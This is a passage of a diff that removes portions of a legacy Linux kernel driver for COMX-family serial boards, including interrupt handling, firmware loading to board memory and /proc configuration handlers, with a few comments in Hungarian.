printk(KERN_ERR "COMX_interrupt: irq %d for unknown device\n", irq); - return IRQ_NONE; - } - - jiffs = jiffies; - - interrupted = ch->HW_access_board(dev); - - while (!idle && count < 5000) { - char channel = 0; - idle = 1; - - while (channel < 2) { - char linestat = 0; - char buffers_emptied = 0; - - if (channel == 1) { - if (ch->twin) { - dev = ch->twin; - ch = dev->priv; - hw = ch->HW_privdata; - } else { - break; - } - } else { - COMX_WRITE(dev, OFF_A_L1_REPENA, - COMX_readw(dev, OFF_A_L1_REPENA) & 0xFF00); - } - channel++; - - if ((ch->init_status & (HW_OPEN | LINE_OPEN)) != - (HW_OPEN | LINE_OPEN)) { - continue; - } - - /* Collect stats */ - tmp = COMX_readw(dev, OFF_A_L1_ABOREC); - COMX_WRITE(dev, OFF_A_L1_ABOREC, 0); - if(tmp==0xffff) { - printk(KERN_ERR "%s: OFF_A_L1_ABOREC is %d\n",dev->name,tmp); - break; - } else { - ch->stats.rx_missed_errors += (tmp >> 8) & 0xff; - ch->stats.rx_over_errors += tmp & 0xff; - } - tmp = COMX_readw(dev, OFF_A_L1_CRCREC); - COMX_WRITE(dev, OFF_A_L1_CRCREC, 0); - if(tmp==0xffff) { - printk(KERN_ERR "%s: OFF_A_L1_CRCREC is %d\n",dev->name,tmp); - break; - } else { - ch->stats.rx_crc_errors += (tmp >> 8) & 0xff; - ch->stats.rx_missed_errors += tmp & 0xff; - } - - if ((ch->line_status & LINE_UP) && ch->LINE_rx) { - tmp=COMX_readw(dev, OFF_A_L2_DAV); - while (tmp==1) { - idle=0; - buffers_emptied+=comx_read_buffer(dev); - tmp=COMX_readw(dev, OFF_A_L2_DAV); - } - if(tmp) { - printk(KERN_ERR "%s: OFF_A_L2_DAV is %d\n", dev->name, tmp); - break; - } - } - - tmp=COMX_readw(dev, OFF_A_L2_TxEMPTY); - if (tmp==1 && ch->LINE_tx) { - ch->LINE_tx(dev); - } - if(tmp==0xffff) { - printk(KERN_ERR "%s: OFF_A_L2_TxEMPTY is %d\n", dev->name, tmp); - break; - } - - if (COMX_readw(dev, OFF_A_L1_PBUFOVR) >> 8) { - linestat &= ~LINE_UP; - } else { - linestat |= LINE_UP; - } - - if ((linestat & LINE_UP) != (ch->line_status & LINE_UP)) { - ch->stats.tx_carrier_errors++; - idle &= comx_line_change(dev,linestat); - } - - hw->histogram[(int)buffers_emptied]++; - } - count++; - } - - if(count==5000) { - printk(KERN_WARNING "%s: interrupt stuck\n",dev->name); - } - - ch->HW_release_board(dev, interrupted); - return IRQ_HANDLED; -} - -static int COMX_open(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct comx_privdata *hw = ch->HW_privdata; - struct proc_dir_entry *procfile = ch->procdir->subdir; - unsigned long jiffs; - int twin_open=0; - int retval; - struct net_device *savep; - - if (!dev->base_addr || !dev->irq || !dev->mem_start) { - return -ENODEV; - } - - if (ch->twin && (((struct comx_channel *)(ch->twin->priv))->init_status & HW_OPEN)) { - twin_open=1; - } - - if (!twin_open) { - if (!request_region(dev->base_addr, hw->io_extent, dev->name)) { - return -EAGAIN; - } - if (request_irq(dev->irq, COMX_interrupt, 0, dev->name, - (void *)dev)) { - printk(KERN_ERR "comx-hw-comx: unable to obtain irq %d\n", dev->irq); - release_region(dev->base_addr, hw->io_extent); - return -EAGAIN; - } - ch->init_status |= IRQ_ALLOCATED; - if (!ch->HW_load_board || ch->HW_load_board(dev)) { - ch->init_status &= ~IRQ_ALLOCATED; - retval=-ENODEV; - goto error; - } - } - - savep = ch->HW_access_board(dev); - COMX_WRITE(dev, OFF_A_L2_LINKUP, 0); - - if (ch->HW_set_clock) { - ch->HW_set_clock(dev); - } - - COMX_CMD(dev, COMX_CMD_INIT); - jiffs = jiffies; - while (COMX_readw(dev, OFF_A_L2_LINKUP) != 1 && time_before(jiffies, jiffs + HZ)) { - schedule_timeout(1); - } - - if (time_after_eq(jiffies, jiffs + HZ)) { - printk(KERN_ERR "%s: board timeout on INIT command\n", dev->name); - ch->HW_release_board(dev, savep); - retval=-EIO; - goto error; - } - udelay(1000); - - COMX_CMD(dev, COMX_CMD_OPEN); - - jiffs = jiffies; - while (COMX_readw(dev, OFF_A_L2_LINKUP) != 3 && time_before(jiffies, jiffs + HZ)) { - schedule_timeout(1); - } - - if (time_after_eq(jiffies, jiffs + HZ)) { - printk(KERN_ERR "%s: board timeout on OPEN command\n", dev->name); - ch->HW_release_board(dev, savep); - retval=-EIO; - goto error; - } - - ch->init_status |= HW_OPEN; - - /* Ez eleg ciki, de ilyen a rendszer */ - if (COMX_readw(dev, OFF_A_L1_PBUFOVR) >> 8) { - ch->line_status &= ~LINE_UP; - } else { - ch->line_status |= LINE_UP; - } - - if (ch->LINE_status) { - ch->LINE_status(dev, ch->line_status); - } - - ch->HW_release_board(dev, savep); - - for ( ; procfile ; procfile = procfile->next) { - if (strcmp(procfile->name, FILENAME_IRQ) == 0 - || strcmp(procfile->name, FILENAME_IO) == 0 - || strcmp(procfile->name, FILENAME_MEMADDR) == 0 - || strcmp(procfile->name, FILENAME_CHANNEL) == 0 - || strcmp(procfile->name, FILENAME_FIRMWARE) == 0 - || strcmp(procfile->name, FILENAME_CLOCK) == 0) { - procfile->mode = S_IFREG | 0444; - - } - } - - return 0; - -error: - if(!twin_open) { - release_region(dev->base_addr, hw->io_extent); - free_irq(dev->irq, (void *)dev); - } - return retval; - -} - -static int COMX_close(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct proc_dir_entry *procfile = ch->procdir->subdir; - struct comx_privdata *hw = ch->HW_privdata; - struct comx_channel *twin_ch; - struct net_device *savep; - - savep = ch->HW_access_board(dev); - - COMX_CMD(dev, COMX_CMD_CLOSE); - udelay(1000); - COMX_CMD(dev, COMX_CMD_EXIT); - - ch->HW_release_board(dev, savep); - - if (ch->init_status & IRQ_ALLOCATED) { - free_irq(dev->irq, (void *)dev); - ch->init_status &= ~IRQ_ALLOCATED; - } - release_region(dev->base_addr, hw->io_extent); - - if (ch->twin && (twin_ch = ch->twin->priv) && - (twin_ch->init_status & HW_OPEN)) { - /* Pass the irq to the twin */ - if (request_irq(dev->irq, COMX_interrupt, 0, ch->twin->name, - (void *)ch->twin) == 0) { - twin_ch->init_status |= IRQ_ALLOCATED; - } - } - - for ( ; procfile ; procfile = procfile->next) { - if (strcmp(procfile->name, FILENAME_IRQ) == 0 - || strcmp(procfile->name, FILENAME_IO) == 0 - || strcmp(procfile->name, FILENAME_MEMADDR) == 0 - || strcmp(procfile->name, FILENAME_CHANNEL) == 0 - || strcmp(procfile->name, FILENAME_FIRMWARE) == 0 - || strcmp(procfile->name, FILENAME_CLOCK) == 0) { - procfile->mode = S_IFREG | 0644; - } - } - - ch->init_status &= ~HW_OPEN; - return 0; -} - -static int COMX_statistics(struct net_device *dev, char *page) -{ - struct comx_channel *ch = dev->priv; - struct comx_privdata *hw = ch->HW_privdata; - struct net_device *savep; - int len = 0; - - savep = ch->HW_access_board(dev); - - len += sprintf(page + len, "Board data: %s %s %s %s\nPBUFOVR: %02x, " - "MODSTAT: %02x, LINKUP: %02x, DAV: %02x\nRxBUFP: %02x, " - "TxEMPTY: %02x, TxBUFP: %02x\n", - (ch->init_status & HW_OPEN) ? "HW_OPEN" : "", - (ch->init_status & LINE_OPEN) ? "LINE_OPEN" : "", - (ch->init_status & FW_LOADED) ? "FW_LOADED" : "", - (ch->init_status & IRQ_ALLOCATED) ? "IRQ_ALLOCATED" : "", - COMX_readw(dev, OFF_A_L1_PBUFOVR) & 0xff, - (COMX_readw(dev, OFF_A_L1_PBUFOVR) >> 8) & 0xff, - COMX_readw(dev, OFF_A_L2_LINKUP) & 0xff, - COMX_readw(dev, OFF_A_L2_DAV) & 0xff, - COMX_readw(dev, OFF_A_L2_RxBUFP) & 0xff, - COMX_readw(dev, OFF_A_L2_TxEMPTY) & 0xff, - COMX_readw(dev, OFF_A_L2_TxBUFP) & 0xff); - - len += sprintf(page + len, "hist[0]: %8lu hist[1]: %8lu hist[2]: %8lu\n" - "hist[3]: %8lu hist[4]: %8lu\n",hw->histogram[0],hw->histogram[1], - hw->histogram[2],hw->histogram[3],hw->histogram[4]); - - ch->HW_release_board(dev, savep); - - return len; -} - -static int COMX_load_board(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct comx_privdata *hw = ch->HW_privdata; - struct comx_firmware *fw = hw->firmware; - word board_segment = dev->mem_start >> 16; - int mempos = (dev->mem_start - COMX_MEM_MIN) >> 16; - unsigned long flags; - unsigned char id1, id2; - struct net_device *saved; - int retval; - int loopcount; - int len; - byte *COMX_address; - - if (!fw || !fw->len) { - struct comx_channel *twin_ch = ch->twin ? ch->twin->priv : NULL; - struct comx_privdata *twin_hw; - - if (!twin_ch || !(twin_hw = twin_ch->HW_privdata)) { - return -EAGAIN; - } - - if (!(fw = twin_hw->firmware) || !fw->len) { - return -EAGAIN; - } - } - - id1 = fw->data[OFF_FW_L1_ID]; - id2 = fw->data[OFF_FW_L1_ID + 1]; - - if (id1 != FW_L1_ID_1 || id2 != FW_L1_ID_2_COMX) { - printk(KERN_ERR "%s: incorrect firmware, load aborted\n", - dev->name); - return -EAGAIN; - } - - printk(KERN_INFO "%s: Loading COMX Layer 1 firmware %s\n", dev->name, - (char *)(fw->data + OFF_FW_L1_ID + 2)); - - id1 = fw->data[OFF_FW_L2_ID]; - id2 = fw->data[OFF_FW_L2_ID + 1]; - if (id1 == FW_L2_ID_1 && (id2 == 0xc0 || id2 == 0xc1 || id2 == 0xc2)) { - printk(KERN_INFO "with Layer 2 code %s\n", - (char *)(fw->data + OFF_FW_L2_ID + 2)); - } - - outb_p(board_segment | COMX_BOARD_RESET, dev->base_addr); - /* 10 usec should be enough here */ - udelay(100); - - save_flags(flags); cli(); - saved=memory_used[mempos]; - if(saved) { - ((struct comx_channel *)saved->priv)->HW_board_off(saved); - } - memory_used[mempos]=dev; - - outb_p(board_segment | COMX_ENABLE_BOARD_MEM, dev->base_addr); - - writeb(0, dev->mem_start + COMX_JAIL_OFFSET); - - loopcount=0; - while(loopcount++ < 10000 && - readb(dev->mem_start + COMX_JAIL_OFFSET) != COMX_JAIL_VALUE) { - udelay(100); - } - - if (readb(dev->mem_start + COMX_JAIL_OFFSET) != COMX_JAIL_VALUE) { - printk(KERN_ERR "%s: Can't reset board, JAIL value is %02x\n", - dev->name, readb(dev->mem_start + COMX_JAIL_OFFSET)); - retval=-ENODEV; - goto out; - } - - writeb(0x55, dev->mem_start + 0x18ff); - - loopcount=0; - while(loopcount++ < 10000 && readb(dev->mem_start + 0x18ff) != 0) { - udelay(100); - } - - if(readb(dev->mem_start + 0x18ff) != 0) { - printk(KERN_ERR "%s: Can't reset board, reset timeout\n", - dev->name); - retval=-ENODEV; - goto out; - } - - len = 0; - COMX_address = (byte *)dev->mem_start; - while (fw->len > len) { - writeb(fw->data[len++], COMX_address++); - } - - len = 0; - COMX_address = (byte *)dev->mem_start; - while (len != fw->len && readb(COMX_address++) == fw->data[len]) { - len++; - } - - if (len != fw->len) { - printk(KERN_ERR "%s: error loading firmware: [%d] is 0x%02x " - "instead of 0x%02x\n", dev->name, len, - readb(COMX_address - 1), fw->data[len]); - retval=-EAGAIN; - goto out; - } - - writeb(0, dev->mem_start + COMX_JAIL_OFFSET); - - loopcount = 0; - while ( loopcount++ < 10000 && COMX_readw(dev, OFF_A_L2_LINKUP) != 1 ) { - udelay(100); - } - - if (COMX_readw(dev, OFF_A_L2_LINKUP) != 1) { - printk(KERN_ERR "%s: error starting firmware, linkup word is %04x\n", - dev->name, COMX_readw(dev, OFF_A_L2_LINKUP)); - retval=-EAGAIN; - goto out; - } - - - ch->init_status |= FW_LOADED; - retval=0; - -out: - outb_p(board_segment | COMX_DISABLE_ALL, dev->base_addr); - if(saved) { - ((struct comx_channel *)saved->priv)->HW_board_on(saved); - } - memory_used[mempos]=saved; - restore_flags(flags); - return retval; -} - -static int CMX_load_board(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct comx_privdata *hw = ch->HW_privdata; - struct comx_firmware *fw = hw->firmware; - word board_segment = dev->mem_start >> 16; - int mempos = (dev->mem_start - COMX_MEM_MIN) >> 16; - #if 0 - unsigned char id1, id2; - #endif - struct net_device *saved; - unsigned long flags; - int retval; - int loopcount; - int len; - byte *COMX_address; - - if (!fw || !fw->len) { - struct comx_channel *twin_ch = ch->twin ? ch->twin->priv : NULL; - struct comx_privdata *twin_hw; - - if (!twin_ch || !(twin_hw = twin_ch->HW_privdata)) { - return -EAGAIN; - } - - if (!(fw = twin_hw->firmware) || !fw->len) { - return -EAGAIN; - } - } - - /* Ide kell olyat tenni, hogy ellenorizze az ID-t */ - - if (inb_p(dev->base_addr) != CMX_ID_BYTE) { - printk(KERN_ERR "%s: CMX id byte is invalid(%02x)\n", dev->name, - inb_p(dev->base_addr)); - return -ENODEV; - } - - printk(KERN_INFO "%s: Loading CMX Layer 1 firmware %s\n", dev->name, - (char *)(fw->data + OFF_FW_L1_ID + 2)); - - save_flags(flags); cli(); - saved=memory_used[mempos]; - if(saved) { - ((struct comx_channel *)saved->priv)->HW_board_off(saved); - } - memory_used[mempos]=dev; - - outb_p(board_segment | COMX_ENABLE_BOARD_MEM | COMX_BOARD_RESET, - dev->base_addr); - - len = 0; - COMX_address = (byte *)dev->mem_start; - while (fw->len > len) { - writeb(fw->data[len++], COMX_address++); - } - - len = 0; - COMX_address = (byte *)dev->mem_start; - while (len != fw->len && readb(COMX_address++) == fw->data[len]) { - len++; - } - - outb_p(board_segment | COMX_ENABLE_BOARD_MEM, dev->base_addr); - - if (len != fw->len) { - printk(KERN_ERR "%s: error loading firmware: [%d] is 0x%02x " - "instead of 0x%02x\n", dev->name, len, - readb(COMX_address - 1), fw->data[len]); - retval=-EAGAIN; - goto out; - } - - loopcount=0; - while( loopcount++ < 10000 && COMX_readw(dev, OFF_A_L2_LINKUP) != 1 ) { - udelay(100); - } - - if (COMX_readw(dev, OFF_A_L2_LINKUP) != 1) { - printk(KERN_ERR "%s: error starting firmware, linkup word is %04x\n", - dev->name, COMX_readw(dev, OFF_A_L2_LINKUP)); - retval=-EAGAIN; - goto out; - } - - ch->init_status |= FW_LOADED; - retval=0; - -out: - outb_p(board_segment | COMX_DISABLE_ALL, dev->base_addr); - if(saved) { - ((struct comx_channel *)saved->priv)->HW_board_on(saved); - } - memory_used[mempos]=saved; - restore_flags(flags); - return retval; -} - -static int HICOMX_load_board(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct comx_privdata *hw = ch->HW_privdata; - struct comx_firmware *fw = hw->firmware; - word board_segment = dev->mem_start >> 12; - int mempos = (dev->mem_start - COMX_MEM_MIN) >> 16; - struct net_device *saved; - unsigned char id1, id2; - unsigned long flags; - int retval; - int loopcount; - int len; - word *HICOMX_address; - char id = 1; - - if (!fw || !fw->len) { - struct comx_channel *twin_ch = ch->twin ? ch->twin->priv : NULL; - struct comx_privdata *twin_hw; - - if (!twin_ch || !(twin_hw = twin_ch->HW_privdata)) { - return -EAGAIN; - } - - if (!(fw = twin_hw->firmware) || !fw->len) { - return -EAGAIN; - } - } - - while (id != 4) { - if (inb_p(dev->base_addr + id++) != HICOMX_ID_BYTE) { - break; - } - } - - if (id != 4) { - printk(KERN_ERR "%s: can't find HICOMX at 0x%04x, id[%d] = %02x\n", - dev->name, (unsigned int)dev->base_addr, id - 1, - inb_p(dev->base_addr + id - 1)); - return -1; - } - - id1 = fw->data[OFF_FW_L1_ID]; - id2 = fw->data[OFF_FW_L1_ID + 1]; - if (id1 != FW_L1_ID_1 || id2 != FW_L1_ID_2_HICOMX) { - printk(KERN_ERR "%s: incorrect firmware, load aborted\n", dev->name); - return -EAGAIN; - } - - printk(KERN_INFO "%s: Loading HICOMX Layer 1 firmware %s\n", dev->name, - (char *)(fw->data + OFF_FW_L1_ID + 2)); - - id1 = fw->data[OFF_FW_L2_ID]; - id2 = fw->data[OFF_FW_L2_ID + 1]; - if (id1 == FW_L2_ID_1 && (id2 == 0xc0 || id2 == 0xc1 || id2 == 0xc2)) { - printk(KERN_INFO "with Layer 2 code %s\n", - (char *)(fw->data + OFF_FW_L2_ID + 2)); - } - - outb_p(board_segment | HICOMX_BOARD_RESET, dev->base_addr); - udelay(10); - - save_flags(flags); cli(); - saved=memory_used[mempos]; - if(saved) { - ((struct comx_channel *)saved->priv)->HW_board_off(saved); - } - memory_used[mempos]=dev; - - outb_p(board_segment | HICOMX_ENABLE_BOARD_MEM, dev->base_addr); - outb_p(HICOMX_PRG_MEM, dev->base_addr + 1); - - len = 0; - HICOMX_address = (word *)dev->mem_start; - while (fw->len > len) { - writeb(fw->data[len++], HICOMX_address++); - } - - len = 0; - HICOMX_address = (word *)dev->mem_start; - while (len != fw->len && (readw(HICOMX_address++) & 0xff) == fw->data[len]) { - len++; - } - - if (len != fw->len) { - printk(KERN_ERR "%s: error loading firmware: [%d] is 0x%02x " - "instead of 0x%02x\n", dev->name, len, - readw(HICOMX_address - 1) & 0xff, fw->data[len]); - retval=-EAGAIN; - goto out; - } - - outb_p(board_segment | HICOMX_BOARD_RESET, dev->base_addr); - outb_p(HICOMX_DATA_MEM, dev->base_addr + 1); - - outb_p(board_segment | HICOMX_ENABLE_BOARD_MEM, dev->base_addr); - - loopcount=0; - while(loopcount++ < 10000 && COMX_readw(dev, OFF_A_L2_LINKUP) != 1) { - udelay(100); - } - - if ( COMX_readw(dev, OFF_A_L2_LINKUP) != 1 ) { - printk(KERN_ERR "%s: error starting firmware, linkup word is %04x\n", - dev->name, COMX_readw(dev, OFF_A_L2_LINKUP)); - retval=-EAGAIN; - goto out; - } - - ch->init_status |= FW_LOADED; - retval=0; - -out: - outb_p(board_segment | HICOMX_DISABLE_ALL, dev->base_addr); - outb_p(HICOMX_DATA_MEM, dev->base_addr + 1); - - if(saved) { - ((struct comx_channel *)saved->priv)->HW_board_on(saved); - } - memory_used[mempos]=saved; - restore_flags(flags); - return retval; -} - -static struct net_device *comx_twin_check(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct proc_dir_entry *procfile = ch->procdir->parent->subdir; - struct comx_privdata *hw = ch->HW_privdata; - - struct net_device *twin; - struct comx_channel *ch_twin; - struct comx_privdata *hw_twin; - - - for ( ; procfile ; procfile = procfile->next) { - - if(!S_ISDIR(procfile->mode)) { - continue; - } - - twin=procfile->data; - ch_twin=twin->priv; - hw_twin=ch_twin->HW_privdata; - - - if (twin != dev && dev->irq && dev->base_addr && dev->mem_start && - dev->irq == twin->irq && dev->base_addr == twin->base_addr && - dev->mem_start == twin->mem_start && - hw->channel == (1 - hw_twin->channel) && - ch->hardware == ch_twin->hardware) { - return twin; - } - } - return NULL; -} - -static int comxhw_write_proc(struct file *file, const char *buffer, - u_long count, void *data) -{ - struct proc_dir_entry *entry = (struct proc_dir_entry *)data; - struct net_device *dev = entry->parent->data; - struct comx_channel *ch = dev->priv; - struct comx_privdata *hw = ch->HW_privdata; - char *page; - - - if(ch->init_status & HW_OPEN) { - return -EAGAIN; - } - - if (strcmp(FILENAME_FIRMWARE, entry->name) != 0) { - if (!(page = (char *)__get_free_page(GFP_KERNEL))) { - return -ENOMEM; - } - if(copy_from_user(page, buffer, count = (min_t(int, count, PAGE_SIZE)))) - { - count = -EFAULT; - goto out; - } - if (page[count-1] == '\n') - page[count-1] = '\0'; - else if (count < PAGE_SIZE) - page[count] = '\0'; - else if (page[count]) { - count = -EINVAL; - goto out; - } - page[count]=0; /* Null terminate */ - } else { - byte *tmp; - - if (!hw->firmware) { - if ((hw->firmware = kmalloc(sizeof(struct comx_firmware), - GFP_KERNEL)) == NULL) { - return -ENOMEM; - } - hw->firmware->len = 0; - hw->firmware->data = NULL; - } - - if ((tmp = kmalloc(count + file->f_pos, GFP_KERNEL)) == NULL) { - return -ENOMEM; - } - - /* Ha nem 0 a fpos, akkor meglevo file-t irunk. Gyenge trukk. */ - if (hw->firmware && hw->firmware->len && file->f_pos - && hw->firmware->len < count + file->f_pos) { - memcpy(tmp, hw->firmware->data, hw->firmware->len); - } - if (hw->firmware->data) { - kfree(hw->firmware->data); - } - if (copy_from_user(tmp + file->f_pos, buffer, count)) - return -EFAULT; - hw->firmware->len = entry->size = file->f_pos + count; - hw->firmware->data = tmp; - file->f_pos += count; - return count; - } - - if (strcmp(entry->name, FILENAME_CHANNEL) == 0) { - hw->channel = simple_strtoul(page, NULL, 0); - if (hw->channel >= MAX_CHANNELNO) { - printk(KERN_ERR "Invalid channel number\n"); - hw->channel = 0; - } - if ((ch->twin = comx_twin_check(dev)) != NULL) { - struct comx_channel *twin_ch = ch->twin->priv; - twin_ch->twin = dev; - } - } else if (strcmp(entry->name, FILENAME_IRQ) == 0) { - dev->irq = simple_strtoul(page, NULL, 0); - if (dev->irq == 2) { - dev->irq = 9; - } - if (dev->irq < 3 || dev->irq > 15) { - printk(KERN_ERR "comxhw: Invalid irq number\n"); - dev->irq = 0; - } - if ((ch->twin = comx_twin_check(dev)) != NULL) { - struct comx_channel *twin_ch = ch->twin->priv; - twin_ch->twin = dev; - } - } else if (strcmp(entry->name, FILENAME_IO) == 0) { - dev->base_addr = simple_strtoul(page, NULL, 0); - if ((dev->base_addr & 3) != 0 || dev->base_addr < 0x300 - || dev->base_addr > 0x3fc) { - printk(KERN_ERR "Invalid io value\n"); - dev->base_addr = 0; - } - if ((ch->twin = comx_twin_check(dev)) != NULL) { - struct comx_channel *twin_ch = ch->twin->priv; - - twin_ch->twin = dev; - } - } else if (strcmp(entry->name, FILENAME_MEMADDR) == 0) { - dev->mem_start = simple_strtoul(page, NULL, 0); - if (dev->mem_start <= 0xf000 && dev->mem_start >= 0xa000) { - dev->mem_start *= 16; - } - if ((dev->mem_start & 0xfff) != 0 || dev->mem_start < COMX_MEM_MIN - || dev->mem_start + hw->memory_size > COMX_MEM_MAX) { - printk(KERN_ERR "Invalid memory page\n"); - dev->mem_start = 0; - } - dev->mem_end = dev->mem_start + hw->memory_size; - if ((ch->twin = comx_twin_check(dev)) != NULL) { - struct comx_channel *twin_ch = ch->twin->priv; - - twin_ch->twin = dev; - } - } else if (strcmp(entry->name, FILENAME_CLOCK) == 0) { - if (strncmp("ext", page, 3) == 0) { - hw->clock = 0; - } else { - int kbps; - - kbps = simple_strtoul(page, NULL, 0); - hw->clock = kbps ? COMX_CLOCK_CONST/kbps : 0; - } - } -out: - free_page((unsigned long)page); - return count; -} - -static int comxhw_read_proc(char *page, char **start, off_t off, int count, - int *eof, void *data) -{ - struct proc_dir_entry *file = (struct proc_dir_entry *)data; - struct net_device *dev = file->parent->data; - struct comx_channel *ch = dev->priv; - struct comx_privdata *hw = ch->HW_privdata; - int len = 0; - - - if (strcmp(file->name, FILENAME_IO) == 0) { - len = sprintf(page, "0x%03x\n", (unsigned int)dev->base_addr); - } else if (strcmp(file->name, FILENAME_IRQ) == 0) { - len = sprintf(page, "0x%02x\n", dev->irq == 9 ? 2 : dev->irq); - } else if (strcmp(file->name, FILENAME_CHANNEL) == 0) { - len = sprintf(page, "%01d\n", hw->channel); - } else if (strcmp(file->name, FILENAME_MEMADDR) == 0) { - len = sprintf(page, "0x%05x\n", (unsigned int)dev->mem_start); - } else if (strcmp(file->name, FILENAME_TWIN) == 0) { - len = sprintf(page, "%s\n", ch->twin ? ch->twin->name : "none"); - } else if (strcmp(file->name, FILENAME_CLOCK) == 0) { - if (hw->clock) { - len = sprintf(page, "%-8d\n", COMX_CLOCK_CONST/hw->clock); - } else { - len = sprintf(page, "external\n"); - } - } else if (strcmp(file->name, FILENAME_FIRMWARE) == 0) { - len = min_t(int, FILE_PAGESIZE, - min_t(int, count, - hw->firmware ? - (hw->firmware->len - off) : 0)); - if (len < 0) { - len = 0; - } - *start = hw->firmware ? (hw->firmware->data + off) : NULL; - if (off + len >= (hw->firmware ? hw->firmware->len : 0) || len == 0) { - *eof = 1; - } - return len; - } - - if (off >= len) { - *eof = 1; - return 0; - } - - *start = page + off; - if (count >= len - off) { - *eof = 1; - } - return min_t(int, count, len - off); -} - -/* Called on echo comx >boardtype */ -static int COMX_init(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct comx_privdata *hw; - struct proc_dir_entry *new_file; - - if ((ch->HW_privdata = kmalloc(sizeof(struct comx_privdata), - GFP_KERNEL)) == NULL) { - return -ENOMEM; - } - memset(hw = ch->HW_privdata, 0, sizeof(struct comx_privdata)); - - if (ch->hardware == &comx_hw || ch->hardware == &cmx_hw) { - hw->memory_size = COMX_MEMORY_SIZE; - hw->io_extent = COMX_IO_EXTENT; - dev->base_addr = COMX_DEFAULT_IO; - dev->irq = COMX_DEFAULT_IRQ; - dev->mem_start = COMX_DEFAULT_MEMADDR; - dev->mem_end = COMX_DEFAULT_MEMADDR + COMX_MEMORY_SIZE; - } else if (ch->hardware == &hicomx_hw) { - hw->memory_size = HICOMX_MEMORY_SIZE; - hw->io_extent = HICOMX_IO_EXTENT; - dev->base_addr = HICOMX_DEFAULT_IO; - dev->irq = HICOMX_DEFAULT_IRQ; - dev->mem_start = HICOMX_DEFAULT_MEMADDR; - dev->mem_end = HICOMX_DEFAULT_MEMADDR + HICOMX_MEMORY_SIZE; - } else { - printk(KERN_ERR "SERIOUS INTERNAL ERROR in %s, line %d\n", __FILE__, __LINE__); - } - - if ((new_file = create_proc_entry(FILENAME_IO, S_IFREG | 0644, ch->procdir)) - == NULL) { - goto cleanup_HW_privdata; - } - new_file->data = (void *)new_file; - new_file->read_proc = &comxhw_read_proc; - new_file->write_proc = &comxhw_write_proc; - new_file->size = 6; - new_file->nlink = 1; - - if ((new_file = create_proc_entry(FILENAME_IRQ, S_IFREG | 0644, ch->procdir)) - == NULL) { - goto cleanup_filename_io; - } - new_file->data = (void *)new_file; - new_file->read_proc = &comxhw_read_proc; - new_file->write_proc = &comxhw_write_proc; - new_file->size = 5; - new_file->nlink = 1; - - if ((new_file = create_proc_entry(FILENAME_CHANNEL, S_IFREG | 0644, - ch->procdir)) == NULL) { - goto cleanup_filename_irq; - } - new_file->data = (void *)new_file; - new_file->read_proc = &comxhw_read_proc; - new_file->write_proc = &comxhw_write_proc; - new_file->size = 2; // Ezt tudjuk - new_file->nlink = 1; - - if (ch->hardware == &hicomx_hw || ch->hardware == &cmx_hw) { - if ((new_file = create_proc_entry(FILENAME_CLOCK, S_IFREG | 0644, - ch->procdir)) == NULL) { - goto cleanup_filename_channel; - } - new_file->data = (void *)new_file; - new_file->read_proc = &comxhw_read_proc; - new_file->write_proc = &comxhw_write_proc; - new_file->size = 9; - new_file->nlink = 1; - } - - if ((new_file = create_proc_entry(FILENAME_MEMADDR, S_IFREG | 0644, - ch->procdir)) == NULL) { - goto cleanup_filename_clock; - } - new_file->data = (void *)new_file; - new_file->read_proc = &comxhw_read_proc; - new_file->write_proc = &comxhw_write_proc; - new_file->size = 8; - new_file->nlink = 1; - - if ((new_file = create_proc_entry(FILENAME_TWIN, S_IFREG | 0444, - ch->procdir)) == NULL) { - goto cleanup_filename_memaddr; - } - new_file->data = (void *)new_file; - new_file->read_proc = &comxhw_read_proc; - new_file->write_proc = NULL; - new_file->nlink = 1; - - if ((new_file = create_proc_entry(FILENAME_FIRMWARE, S_IFREG | 0644, - ch->procdir)) == NULL) { - goto cleanup_filename_twin; - } - new_file->data = (void *)new_file; - new_file->read_proc = &comxhw_read_proc; - new_file->write_proc = &comxhw_write_proc; - new_file->nlink = 1; - - if (ch->hardware == &comx_hw) { - ch->HW_board_on = COMX_board_on; - ch->HW_board_off = COMX_board_off; - ch->HW_load_board = COMX_load_board; - } else if (ch->hardware == &cmx_hw) { - ch->HW_board_on = COMX_board_on; - ch->HW_board_off = COMX_board_off; - ch->HW_load_board = CMX_load_board; - ch->HW_set_clock = COMX_set_clock; - } else if (ch->hardware == &hicomx_hw) { - ch->HW_board_on = HICOMX_board_on; - ch->HW_board_off = HICOMX_board_off; - ch->HW_load_board = HICOMX_load_board; - ch->HW_set_clock = COMX_set_clock; - } else { - printk(KERN_ERR "SERIOUS INTERNAL ERROR in %s, line %d\n", __FILE__, __LINE__); - } - - ch->HW_access_board = COMX_access_board; - ch->HW_release_board = COMX_release_board; - ch->HW_txe = COMX_txe; - ch->HW_open = COMX_open; - ch->HW_close = COMX_close; - ch->HW_send_packet = COMX_send_packet; - ch->HW_statistics = COMX_statistics; - - if ((ch->twin = comx_twin_check(dev)) != NULL) { - struct comx_channel *twin_ch = ch->twin->priv; - - twin_ch->twin = dev; - } - - MOD_INC_USE_COUNT; - return 0; - -cleanup_filename_twin: - remove_proc_entry(FILENAME_TWIN, ch->procdir); -cleanup_filename_memaddr: - remove_proc_entry(FILENAME_MEMADDR, ch->procdir); -cleanup_filename_clock: - if (ch->hardware == &hicomx_hw || ch->hardware == &cmx_hw) - remove_proc_entry(FILENAME_CLOCK, ch->procdir); -cleanup_filename_channel: - remove_proc_entry(FILENAME_CHANNEL, ch->procdir); -cleanup_filename_irq: - remove_proc_entry(FILENAME_IRQ, ch->procdir); -cleanup_filename_io: - remove_proc_entry(FILENAME_IO, ch->procdir); -cleanup_HW_privdata: - kfree(ch->HW_privdata); - return -EIO; -} - -/* Called on echo valami >boardtype */ -static int COMX_exit(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct comx_privdata *hw = ch->HW_privdata; - - if (hw->firmware) { - if (hw->firmware->data) kfree(hw->firmware->data); - kfree(hw->firmware); - } if (ch->twin) { - struct comx_channel *twin_ch = ch->twin->priv; - - twin_ch->twin = NULL; - } - - kfree(ch->HW_privdata); - remove_proc_entry(FILENAME_IO, ch->procdir); - remove_proc_entry(FILENAME_IRQ, ch->procdir); - remove_proc_entry(FILENAME_CHANNEL, ch->procdir); - 